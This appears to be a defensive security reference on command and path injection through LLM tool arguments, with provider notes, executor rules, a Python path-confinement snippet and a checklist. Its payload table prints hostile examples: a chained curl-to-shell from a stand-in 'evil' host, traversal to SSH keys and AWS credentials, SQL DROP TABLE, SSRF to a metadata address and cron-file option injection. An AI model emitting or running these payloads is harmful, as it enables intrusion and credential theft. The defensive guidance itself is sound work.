# Command and path injection through tool arguments **Status:** DOCUMENTED **Sources:** https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool · …/text-editor-tool · OpenAI OpenAPI spec (`shell` / `apply_patch`, `custom_tool_call`) · https://developers.openai.com/api/docs/guides/tools-connectors-mcp#risks-and-safety · xAI: https://docs.x.ai/developers/tools/overview (`shell` tool, `env: "local"`, `shell_call` → `shell_call_output {stdout, stderr, outcome:{type:"exit", exit_code} | {type:"timeout"}}`, `max_output_length`), https://docs.x.ai/developers/tools/code-execution (hosted alternative) · Gemini: https://ai.google.dev/gemini-api/docs/code-execution (hosted sandbox — no local shell tool), https://ai.google.dev/gemini-api/docs/function-calling (your own `functionDeclarations` executing commands are entirely your responsibility; `mode: VALIDATED`) · OWASP Command Injection / Path Traversal **Last verified:** 2026-09-19 ## The problem Model-generated tool arguments are attacker-influenceable (via prompt injection) and *your code* executes them. Classic injections apply unchanged: | Tool argument | Injection | Example payload | |---|---|---| | `command` for a shell tool | command chaining | `ls; curl https://evil/x | sh` | | `path` for an editor/file tool | traversal, symlinks, special files | `../../.ssh/authorized_keys`, `/proc/self/environ`, `~/.aws/credentials` | | `query` for a DB tool | SQL injection | `'; DROP TABLE…` | | `url` for a fetch tool | SSRF | `http://169.254.169.254/` (see `file-uploads-and-ssrf.md`) | | `args` for a CLI wrapper | option injection | `--output=/etc/cron.d/x`, `-exec` | | `template`/`html` | XSS / SSTI when rendered | `{{config}}`, `` | Schema strictness (`strict: true` on both providers) guarantees *types*, never *semantics*: `{"path": string}` is satisfied by `../../etc/shadow`. ## Provider-specific notes - **Anthropic `bash_20250124`**: a single `command` string; the tool is designed for a *sandboxed* environment (the docs pair it with the computer-use container). There is no server-side filtering — run it only inside a disposable sandbox (`code-execution-and-sandboxing.md`). On failure return `is_error: true`; `restart: true` resets the session. - **Anthropic `text_editor_*`**: `path` arguments — confine to a workspace root; the tool spec says nothing about path validation, it is yours. - **OpenAI `shell` / `apply_patch`** (hosted-or-local variants; see `docs/tools/`): when you execute locally, the same rules apply; `apply_patch` writes files — validate every target path in the patch. - **OpenAI `custom_tool_call`** (free-form text input, optional grammar): treat the text as data, never as a command line. - **xAI `shell`** (`tools:[{type:"shell", env:"local"}]`, Responses API): the model emits `shell_call` items with commands that **you** execute locally and answer with `shell_call_output` (`stdout`, `stderr`, `outcome` exit/timeout, `max_output_length`). Same posture as Anthropic's bash tool: disposable sandbox only, no secrets, egress-filtered; report timeouts as `{type:"timeout"}` rather than killing silently. Note xAI's `x_search` results appear as `custom_tool_call` items too — those are server-executed, don't confuse them with a local shell call (check `name` ∈ `x_keyword_search`…). - **Gemini**: no shell/editor tool exists; any command execution is a `functionDeclaration` you wrote — `mode: VALIDATED` checks the *schema* of the call, nothing about the command. Gemini computer-use `type_text_at`/`key_combination` actions are keystrokes into a browser you control: the same allowlisting applies to URLs (`navigate`) and to text typed into forms. - **Hosted code execution** (all four: Anthropic `code_execution_*`, OpenAI `code_interpreter`, xAI `code_interpreter`, Gemini `codeExecution`) moves the blast radius to the provider's container — the preferred option for arbitrary code. ## Safe executor rules 1. **Never build shell strings.** Use `subprocess.run([...], shell=False)` / `execve`-style APIs with an argument array; pass the model's values as *arguments*, never as part of the program string. If the tool is literally "run a shell command" (bash tool), the only safe answer is a sandbox where the shell can't hurt. 2. **Allowlist programs and options.** A `git` tool accepts `["git", "status"]`, `["git", "diff", "--", ]` — not `["git", ]`. Reject arguments starting with `-` unless explicitly allowed; put `--` before positional paths. 3. **Canonicalise paths and confine them**: `realpath(join(ROOT, user_path))` must start with `ROOT + sep`; reject absolute paths, `..` segments after normalisation, symlinks escaping ROOT (resolve with `O_NOFOLLOW`/`openat2 RESOLVE_BENEATH` where available), device/special files, and paths under `.git/`, `.env`, `.ssh/`, `id_*`. 4. **Deny by default on file types and sizes** for create/insert; cap total bytes written per session. 5. **Parameterised queries** for any DB tool; read-only DB roles; row/time limits. 6. **Escape on output**: anything rendered to users or into templates is HTML-escaped/attribute-escaped; markdown rendering with a strict sanitiser and no raw HTML. 7. **Timeouts and resource limits** per invocation; kill the process group. 8. **Return sanitised errors** (`is_error: true` / explicit status) without absolute paths, hostnames, or environment values (`untrusted-tool-outputs.md`). 9. **Audit log** every tool invocation with its arguments and request id — this is your forensic record when an injection succeeds. 10. **Idempotency & confirmation**: destructive operations (`rm`, `git push --force`, `DROP`) require a second explicit confirmation step or are simply not exposed. ## Reference snippet (Python) ```python ROOT = Path("/workspace").resolve() def safe_path(user_path: str) -> Path: if user_path.startswith(("/", "~")) or "\x00" in user_path: raise ValueError("absolute/home paths not allowed") p = (ROOT / user_path).resolve(strict=False) if p != ROOT and ROOT not in p.parents: raise ValueError("path escapes workspace") if any(part in {".git", ".env", ".ssh"} for part in p.relative_to(ROOT).parts): raise ValueError("protected path") return p def run_git(args: list[str]) -> str: allowed = {"status": [], "diff": ["--stat"], "log": ["--oneline", "-n"]} if not args or args[0] not in allowed or any(a.startswith("-") and a not in allowed[args[0]] for a in args[1:]): raise ValueError("git subcommand/option not allowed") return subprocess.run(["git", *args], cwd=ROOT, capture_output=True, text=True, timeout=10, check=False).stdout[:20_000] ``` ## Checklist - [ ] No `shell=True` / string concatenation with model values; argument arrays only. - [ ] Program + option allowlists; `--` before paths. - [ ] Paths canonicalised and confined; protected files denied; symlinks resolved. - [ ] Shell-type tools (Anthropic bash, OpenAI shell, **xAI shell**) only inside disposable sandboxes; outcomes/timeouts reported honestly. - [ ] DB tools parameterised and read-only where possible. - [ ] Outputs escaped before rendering; errors sanitised; invocations audit-logged. - [ ] Destructive actions gated by confirmation or not exposed at all.